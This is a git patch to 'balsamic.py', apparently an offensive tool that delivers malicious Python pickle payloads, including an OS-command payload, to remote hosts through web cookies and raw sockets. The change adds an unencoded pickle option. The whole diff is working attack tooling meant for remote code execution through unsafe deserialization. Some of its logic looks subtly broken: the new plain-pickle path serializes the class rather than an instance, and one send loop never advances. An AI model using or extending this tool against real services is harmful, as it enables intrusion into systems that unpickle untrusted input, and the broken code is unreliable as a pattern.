From f4b914cdc05e6b6f53e753f8024a9f3c540b2e19 Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Sat, 18 May 2024 04:07:30 +0100 Subject: [PATCH] Update balsamic.py --- balsamic/balsamic.py | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/balsamic/balsamic.py b/balsamic/balsamic.py index 1e9eb5e..face2df 100644 --- a/balsamic/balsamic.py +++ b/balsamic/balsamic.py @@ -11,6 +11,10 @@ class utility: p=getattr(payloads,payload) p=base64.b64encode(pickle.dumps(p())) return p + def plainpickle(payload): + p=getattr(payloads,payload) + p=pickle.dumps(p) + return p class payloads: class oscmd: @@ -37,19 +41,27 @@ def webreq(schema,method,rhost,rport,payload,param=None,cook=None): r(f"{schema}://{rhost}:{rport}",cookies=cookie) return f"firing webreq attack against {schema}://{rhost} " -def socksend(rhost,rport,payload, steps=0): +def socksend(rhost,rport,payload, enc, steps=0): rport=int(rport) steps=int(steps) + if enc: + payload=utility.b64pickle(payload) + else: + payload=utility.plainpickle(payload) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((rhost,rport)) i=0 while i < steps: s.sendall("arb".encode("utf-8")) - s.sendall(utility.b64pickle(payload)) + s.sendall(payload) s.recv(1024) -def socklisten(lport,payload, steps=0): +def socklisten(lport,payload, enc, steps=0): lport=int(lport) steps=int(steps) + if enc: + payload=utility.b64pickle(payload) + else: + payload=utility.plainpickle(payload) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind(("",lport)) s.listen(1) @@ -59,6 +71,6 @@ def socklisten(lport,payload, steps=0): while i < steps: conn.sendall("arb".encode("utf-8")) i+=1 - conn.sendall(utility.b64pickle(payload)) + conn.sendall(payload) conn.recv(1024)